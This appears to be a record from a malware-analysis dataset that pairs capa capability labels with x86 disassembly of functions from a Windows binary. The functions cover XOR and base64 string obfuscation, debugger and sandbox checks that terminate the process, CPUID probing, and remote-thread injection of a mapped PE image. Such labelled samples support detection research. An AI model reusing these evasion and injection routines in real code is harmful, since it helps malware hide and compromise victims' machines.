joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b190
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52225e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x24], edi
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x20], 0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0
xor esi, esi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], 1
test eax, eax
je 0x40b354
dec eax
mov dword [ebp + 8], eax
mov al, byte [edx]
inc edx
mov byte [ebp + esi - 0x14], al
inc esi
mov ah, byte [ebp - 0x12]
mov ch, byte [ebp - 0x13]
mov cl, byte [ebp - 0x14]
mov dword [ebp - 0x1c], edx
mov byte [ebp - 0xf], ah
mov byte [ebp - 0xd], ch
mov byte [ebp - 0xe], cl
cmp esi, 3
jne 0x40b295
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x18], al
mov al, ch
shl cl, 4
shr al, 4
add cl, al
mov al, ah
mov byte [ebp - 0x17], cl
and ah, 0x3f
mov cl, ch
shr al, 6
and cl, 0xf
mov byte [ebp - 0x15], ah
shl cl, 2
add cl, al
xor esi, esi
mov byte [ebp - 0x16], cl
nop dword [eax + eax]
cmp dword [0x56db70], 0x10
mov ecx, 0x56db5c
movzx eax, byte [ebp + esi - 0x18]
cmovae ecx, dword [0x56db5c]
movzx eax, byte [eax + ecx]
mov ecx, edi
push eax
call fcn.0040b8f0
inc esi
cmp esi, 4
jl 0x40b260
mov edx, dword [ebp - 0x1c]
xor esi, esi
mov ch, byte [ebp - 0xd]
mov cl, byte [ebp - 0xe]
mov eax, dword [ebp + 8]
test eax, eax
jne 0x40b200
mov dword [ebp - 0x1c], esi
test esi, esi
je 0x40b354
mov eax, 3
sub eax, esi
mov dword [ebp + 8], eax
cmp esi, 3
jge 0x40b2d6
push eax
lea eax, [ebp - 0x14]
add eax, esi
push 0
push eax
call fcn.004fe500
mov dl, byte [ebp - 0x12]
add esp, 0xc
mov ch, byte [ebp - 0x13]
mov cl, byte [ebp - 0x14]
jmp 0x40b2d9
mov dl, byte [ebp - 0xf]
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x18], al
mov al, ch
shr al, 4
and ch, 0xf
shl cl, 4
add cl, al
shl ch, 2
mov al, dl
mov byte [ebp - 0x17], cl
shr al, 6
and dl, 0x3f
add ch, al
mov byte [ebp - 0x15], dl
lea eax, [esi + 1]
mov byte [ebp - 0x16], ch
mov dword [ebp - 0x14], eax
test eax, eax
jle 0x40b340
xor esi, esi
cmp dword [0x56db70], 0x10
mov ecx, 0x56db5c
movzx eax, byte [ebp + esi - 0x18]
cmovae ecx, dword [0x56db5c]
movzx eax, byte [eax + ecx]
mov ecx, edi
push eax
call fcn.0040b8f0
inc esi
cmp esi, dword [ebp - 0x14]
jl 0x40b313
mov esi, dword [ebp - 0x1c]
cmp esi, 3
jge 0x40b354
push 0x3d
mov ecx, edi
call fcn.0040b8f0
sub dword [ebp + 8], 1
jne 0x40b345
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x40c9e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5224cf
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push 0
mov dword [ebp - 0x10], esi
call fcn.004e4c0d
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov byte [ebp - 4], 1
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
mov byte [ebp - 4], 2
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov byte [ebp - 4], 3
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov byte [ebp - 4], 4
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov byte [ebp - 4], 5
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
mov eax, dword [ebp + 8]
test eax, eax
je 0x40ca86
push eax
push esi
call fcn.004e4f4e
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
push str.bad_locale_name
call fcn.004e44f0
int3
Function at 0x414d80
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x523b66
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov dword [ebp - 0x18], 1
xor edx, edx
mov byte [ebp - 0x10], 0x12
mov edi, 0xf
mov byte [ebp - 0xf], 6
mov byte [ebp - 0xe], 0x60
mov al, byte [ebp - 0x10]
mov dword [ebp - 0x14], edx
nop dword [eax]
mov al, byte [ebp + edx - 0x10]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xd], al
cmp ecx, edi
mov eax, 0x2f5a3361
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x10], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 3
jb 0x414e00
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x10]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push eax
call fcn.00502370
mov edi, eax
add esp, 8
test edi, edi
je 0x414ec3
push 2
push 0
push edi
call fcn.0050614c
push edi
call fcn.00501efb
push 0
push 0
push edi
mov dword [ebp - 0x14], eax
call fcn.0050614c
mov ecx, dword [esi + 0x10]
add esp, 0x1c
mov eax, dword [ebp - 0x14]
cmp eax, ecx
ja 0x414e97
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x414e8e
mov ecx, dword [esi]
mov dword [esi + 0x10], eax
mov byte [ecx + eax], 0
jmp 0x414ea6
sub eax, ecx
mov ecx, esi
push 0
push eax
call fcn.0048cd10
mov eax, dword [ebp - 0x14]
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x414eb0
mov ecx, dword [esi]
push edi
push eax
push 1
push ecx
call fcn.0050abef
push edi
call fcn.00505bfe
add esp, 0x14
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.0040b870
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x414ef0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x523a5d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
push edi
mov dword [ebp - 4], 0
xor edi, edi
mov byte [ebp - 0xf], 0x12
xor edx, edx
mov byte [ebp - 0xe], 6
mov esi, 0xf
mov byte [ebp - 0xd], 0x60
mov al, byte [ebp - 0xf]
mov dword [ebp - 0x14], edx
push ebx
mov bl, byte [ebp + edx - 0xf]
mov ecx, edx
and ecx, esi
mov eax, 0x2f5a3361
cmp ecx, esi
mov edx, 0x41ef8f97
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
mov cl, al
and cl, 0xf
lea eax, [edx + 0x61]
xor cl, al
xor cl, bl
mov byte [ebp + edx - 0xf], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 3
jb 0x414f30
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0xf]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push eax
call fcn.00502370
add esp, 8
mov esi, eax
pop ebx
test esi, esi
je 0x414fa5
push 2
push 0
push esi
call fcn.0050614c
push esi
call fcn.00501efb
push esi
mov edi, eax
call fcn.00505bfe
add esp, 0x14
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0040b870
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x415010
Capabilities:
Check os version
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov byte [ebp - 0x1c], 0x92
xor edx, edx
mov byte [ebp - 0x1b], 0xa8
mov byte [ebp - 0x1a], 0xbb
mov byte [ebp - 0x19], 0x9c
mov byte [ebp - 0x18], 0xba
mov byte [ebp - 0x17], 0xab
mov byte [ebp - 0x16], 0x83
mov byte [ebp - 0x15], 0xb6
mov byte [ebp - 0x14], 0xa6
mov byte [ebp - 0x13], 0xaf
mov byte [ebp - 0x12], 0xbf
push esi
mov byte [ebp - 0x11], 0xb2
mov esi, ecx
push edi
mov byte [ebp - 0x10], 0xbf
mov edi, 0xf
mov byte [ebp - 0xf], 0xd5
mov al, byte [ebp - 0x1c]
mov dword [ebp - 4], edx
push ebx
mov bl, byte [ebp + edx - 0x1c]
mov ecx, edx
and ecx, edi
mov eax, 0x50bc96cf
cmp ecx, edi
mov edx, 0xdc9a7f43
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 4]
and al, 0xf
lea ecx, [edx - 0x31]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x1c], al
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xe
jb 0x415060
mov byte [ebp - 0xe], 0x4e
xor edx, edx
mov byte [ebp - 0xd], 0x7c
mov byte [ebp - 0xc], 0x69
mov byte [ebp - 0xb], 0x67
mov byte [ebp - 0xa], 0x6a
mov byte [ebp - 9], 0x23
mov byte [ebp - 8], 0x67
mov byte [ebp - 7], 0x63
mov byte [ebp - 6], 0x69
mov byte [ebp - 5], 0x1d
mov al, byte [ebp - 0xe]
mov dword [ebp - 4], edx
mov bl, byte [ebp + edx - 0xe]
mov ecx, edx
and ecx, edi
mov eax, 0x1e1d1407
cmp ecx, edi
mov edx, 0x43f150da
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 4]
and al, 0xf
lea ecx, [edx + 7]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xe], al
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xa
jb 0x4150c8
lea eax, [ebp - 0xe]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x1c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop ebx
push esi
test eax, eax
je 0x415123
call eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x415240
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x523a5d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
mov dword [ebp - 4], 0
xor edx, edx
mov byte [ebp - 0xf], 0x12
mov esi, 0xf
mov byte [ebp - 0xe], 6
mov byte [ebp - 0xd], 0x60
mov al, byte [ebp - 0xf]
mov dword [ebp - 0x14], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0xf]
mov ecx, edx
and ecx, esi
mov eax, 0x2f5a3361
cmp ecx, esi
mov edx, 0x41ef8f97
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xf], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 3
jb 0x415280
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0xf]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push eax
call fcn.00502370
add esp, 8
test eax, eax
je 0x4152e1
push eax
call fcn.00505bfe
add esp, 4
mov bl, 1
jmp 0x4152e3
xor bl, bl
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0040b870
mov ecx, dword [ebp - 0xc]
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x422800
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52577e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
xor ebx, ebx
mov byte [ebp - 0xe], cl
push edi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], 1
xor edx, edx
mov edi, dword [ebp + 0xc]
mov eax, 0x2aaaaaab
mov esi, dword [ebp + 8]
mov dword [ebp - 0x1c], edx
mov edx, edi
sub edx, esi
imul edx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4229bb
xor eax, eax
mov dword [ebp - 0x20], eax
test cl, cl
je 0x422963
add esi, eax
mov dword [ebp - 0x24], esi
mov eax, esi
cmp dword [esi + 0x14], 0x10
jb 0x42286f
mov eax, dword [esi]
push dword [esi + 0x10]
cmp dword [ebp + 0x28], 0x10
lea ecx, [ebp + 0x14]
mov edx, dword [ebp + 0x24]
cmovae ecx, dword [ebp + 0x14]
push eax
push 0
call fcn.004904a0
add esp, 0xc
test eax, eax
je 0x422933
mov byte [ebp - 0x12], 0x4a
xor ebx, ebx
mov byte [ebp - 0x11], 0xa8
mov esi, 0xf
mov byte [ebp - 0x10], 0xab
mov byte [ebp - 0xf], 0x83
mov al, byte [ebp - 0x12]
nop dword [eax]
mov al, byte [ebp + ebx - 0x12]
mov ecx, ebx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x44fe157f
mov edx, 0xb74671c3
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
and al, 0xf
lea ecx, [ebx + 0x7f]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + ebx - 0x12], al
inc ebx
cmp ebx, 4
jb 0x4228b0
mov esi, dword [ebp - 0x24]
lea edx, [ebp - 0x12]
push esi
lea ecx, [ebp - 0x3c]
call fcn.0048ec50
add esp, 4
mov byte [ebp - 4], 2
mov ebx, dword [ebp - 0x18]
or ebx, 1
mov dword [ebp - 0x18], ebx
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x422910
mov eax, dword [eax]
cmp dword [ebp + 0x28], 0x10
lea ecx, [ebp + 0x14]
push edx
cmovae ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x24]
push eax
push 0
call fcn.004904a0
add esp, 0xc
mov byte [ebp - 0xd], 0
cmp eax, 0xffffffff
je 0x422937
mov byte [ebp - 0xd], 1
mov dword [ebp - 4], 1
test bl, 1
je 0x422951
and ebx, 0xfffffffe
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x18], ebx
call fcn.0040b870
cmp byte [ebp - 0xd], 0
jne 0x4229eb
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
jmp 0x422990
mov edx, dword [eax + esi + 0x10]
add eax, esi
cmp dword [eax + 0x14], 0x10
jb 0x422971
mov eax, dword [eax]
cmp dword [ebp + 0x28], 0x10
lea ecx, [ebp + 0x14]
push edx
cmovae ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x24]
push eax
push 0
call fcn.004904a0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x4229eb
inc dword [ebp - 0x1c]
mov ecx, edi
add dword [ebp - 0x20], 0x18
sub ecx, esi
mov eax, 0x2aaaaaab
imul ecx
mov cl, byte [ebp - 0xe]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x20]
jb 0x422858
xor bl, bl
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.0048c6c0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x14]
call fcn.0040b870
mov ecx, dword [ebp - 0xc]
mov al, bl
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov bl, 1
jmp 0x4229bd
Function at 0x423140
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
push ebx
mov al, byte [eax + 2]
test al, al
setne bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
movzx ecx, bl
mov edx, 1
cmovne ecx, edx
pushfd
pop eax
mov dword [ebp - 4], eax
test dword [ebp - 4], 0x100
movzx eax, cl
cmovne eax, edx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x423180
Capabilities:
Encode data using xor
Get hostname
Get session user name
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
push esi
push 0x100
lea eax, [ebp - 0x11c]
mov dword [ebp - 0x18], 0x100
push 0
push eax
mov dword [ebp - 0x1c], 0x100
call fcn.004fe500
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x100
lea eax, [ebp - 0x21c]
push 0
push eax
call fcn.004fe500
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov byte [ebp - 0x14], 0x9a
xor edx, edx
mov byte [ebp - 0x13], 0xba
mov esi, 0xf
mov byte [ebp - 0x12], 0xb0
mov byte [ebp - 0x11], 0xb2
mov byte [ebp - 0x10], 0x9e
mov byte [ebp - 0xf], 0xbb
mov byte [ebp - 0xe], 0xbd
mov byte [ebp - 0xd], 0xd2
mov al, byte [ebp - 0x14]
mov dword [ebp - 0xc], edx
mov bl, byte [ebp + edx - 0x14]
mov ecx, edx
and ecx, esi
mov eax, 0xc58161d7
cmp ecx, esi
mov edx, 0x27f75b5d
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0xc]
and al, 0xf
lea ecx, [edx - 0x29]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x14], al
inc edx
mov dword [ebp - 0xc], edx
cmp edx, 8
jb 0x423214
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004fd9b0
add esp, 8
test eax, eax
jne 0x4232de
mov byte [ebp - 7], 0x38
xor edx, edx
mov byte [ebp - 6], 0x3c
mov byte [ebp - 5], 0x3f
mov byte [ebp - 4], 0x4b
mov byte [ebp - 3], 0x28
mov byte [ebp - 2], 0x3d
mov byte [ebp - 1], 0x74
mov al, byte [ebp - 7]
mov dword [ebp - 0xc], edx
mov bl, byte [ebp + edx - 7]
mov ecx, edx
and ecx, esi
mov eax, 0xabb1e879
cmp ecx, esi
mov edx, 0xf353896d
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0xc]
and al, 0xf
lea ecx, [edx + 0x79]
xor al, cl
xor al, bl
mov byte [ebp + edx - 7], al
inc edx
mov dword [ebp - 0xc], edx
cmp edx, 7
jb 0x423287
lea eax, [ebp - 7]
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.004fd9b0
add esp, 8
test eax, eax
jne 0x4232de
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x423340
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov eax, 1
lea edi, [ebp - 0x28]
xor ecx, ecx
xorps xmm0, xmm0
push ebx
cpuid
mov esi, ebx
movups xmmword [ebp - 0x28], xmm0
pop ebx
mov dword [edi], eax
mov dword [edi + 4], esi
mov esi, 0xf
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov eax, dword [ebp - 0x20]
mov byte [ebp - 0x15], 0x4b
mov byte [ebp - 0x14], 0x49
mov byte [ebp - 0x13], 0x55
mov byte [ebp - 0x12], 0x51
mov byte [ebp - 0x11], 0x56
mov byte [ebp - 0x10], 0x52
mov byte [ebp - 0xf], 9
mov byte [ebp - 0xe], 0xa
mov byte [ebp - 0xd], 0x1f
shr eax, 0x1f
mov byte [ebp - 0xc], 0x52
and eax, 0xffffff01
mov byte [ebp - 0xb], 0x57
xor edx, edx
mov byte [ebp - 0xa], 0x50
mov dword [ebp - 8], eax
mov byte [ebp - 9], 0x35
mov al, byte [ebp - 0x15]
mov dword [ebp - 4], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x15]
mov ecx, edx
and ecx, esi
mov eax, 0xc9c2f82d
cmp ecx, esi
mov edx, 0x8f8c4c04
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 4]
and al, 0xf
lea ecx, [edx + 0x2d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x15], al
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xd
jb 0x4233c0
lea eax, [ebp - 0x15]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, dword [ebp - 8]
test eax, eax
mov eax, 1
movzx ecx, dl
pop edi
cmove ecx, eax
pop esi
mov al, cl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x425a70
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5259fb
push eax
mov dword fs:[0], esp
sub esp, 0x11c
mov eax, dword [0x570570]
push edi
mov edi, ecx
test al, 1
jne 0x425aed
or eax, 1
mov dword [0x570570], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [0x57057c], xmm0
mov eax, 0x2f5c
mov dword [0x57058c], 2
push 0x536b80
mov dword [0x570590], 0xf
mov word [0x57057c], ax
mov byte [0x57057e], 0
call fcn.004e62ac
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x425af7
mov eax, dword [edi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x425bff
cmp dword [0x570590], 0x10
mov ecx, dword [edi + 0x10]
push esi
mov esi, 0x57057c
mov dword [ebp - 0x10], edi
cmovae esi, dword [0x57057c]
cmp dword [edi + 0x14], 0x10
jb 0x425b2c
mov eax, dword [edi]
mov dword [ebp - 0x10], eax
cmp dword [0x57058c], 0
je 0x425bd9
test ecx, ecx
je 0x425bd9
push 0x100
lea eax, [ebp - 0x128]
push 0
push eax
call fcn.004fe500
mov ecx, dword [0x57058c]
add esp, 0xc
add ecx, esi
cmp esi, ecx
je 0x425b73
movzx eax, byte [esi]
inc esi
mov byte [ebp + eax - 0x128], 1
cmp esi, ecx
jne 0x425b63
mov eax, dword [edi + 0x10]
or ecx, 0xffffffff
mov edx, dword [ebp - 0x10]
dec eax
cmp eax, ecx
cmovb ecx, eax
movzx eax, byte [ecx + edx]
add ecx, edx
mov al, byte [ebp + eax - 0x128]
test al, al
jne 0x425ba7
cmp ecx, edx
je 0x425bd9
movzx eax, byte [ecx - 1]
dec ecx
mov al, byte [ebp + eax - 0x128]
test al, al
je 0x425b93
sub ecx, edx
cmp ecx, 0xffffffff
je 0x425bd9
push ecx
push 0
lea eax, [ebp - 0x28]
mov ecx, edi
push eax
call fcn.0048a0c0
mov dword [ebp - 4], 1
mov ecx, eax
call fcn.00425a70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.0040b870
cmp dword [edi + 0x14], 0x10
pop esi
jb 0x425be2
mov edi, dword [edi]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
pop edi
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x425cc0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
lea eax, [ebp - 0x54]
mov esi, ecx
push 0
push eax
call fcn.004fe500
add esp, 0xc
mov dword [ebp - 0x54], 0x44
xor eax, eax
xorps xmm0, xmm0
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
movups xmmword [ebp - 0x10], xmm0
push eax
lea eax, [ebp - 0x54]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop esi
test eax, eax
je 0x425d1d
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esp, ebp
pop ebp
ret
Function at 0x42a230
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x523a5d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x224
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 0
lea ebx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
push 0x40
cmovae ebx, dword [ebp + 8]
cmovae ecx, dword [ebp + 8]
mov dword [ebp - 0x18], ebx
push 0x3000
mov ebx, dword [ebx + 0x3c]
add ebx, ecx
push dword [ebx + 0x50]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
push 0
push dword [ebx + 0x54]
cmovae ecx, dword [ebp + 8]
push ecx
push eax
push esi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [ebx + 6]
jae 0x42a2ea
lea esi, [ebx + 0x10c]
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
mov ecx, dword [esi]
cmovae eax, dword [ebp + 8]
push 0
push dword [esi - 4]
add ecx, eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x14]
push ecx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [ebx + 6]
lea esi, [esi + 0x28]
inc edi
cmp edi, eax
jl 0x42a2b6
mov esi, dword [ebp - 0x10]
push 0x40
push 0x3000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x18]
mov edi, eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x230], eax
push 0x200
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [ebp - 0x22c], ecx
mov ecx, dword [ebx + 0xa0]
add ecx, eax
mov dword [ebp - 0x228], ecx
mov ecx, dword [ebx + 0x80]
add ecx, eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x220], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x218]
push 0
push eax
mov dword [ebp - 0x224], ecx
call fcn.004fe500
cmp dword [0x56dbd0], 0x10
mov ecx, 0x56dbbc
mov eax, 0x56dbec
cmovae ecx, dword [0x56dbbc]
cmp dword [0x56dc00], 0x10
push ecx
cmovae eax, dword [0x56dbec]
push eax
lea eax, [ebp - 0x218]
push str._s_s
push eax
call fcn.0040be80
add esp, 0x1c
lea eax, [ebp - 0x230]
push 0
push 0x218
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ebx, dword [ebp - 0x10]
lea esi, [edi + 0x218]
push 0
mov eax, fcn.0042a220
sub eax, 0x42a110
push eax
push 0x42a110
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push edi
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0040b870
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret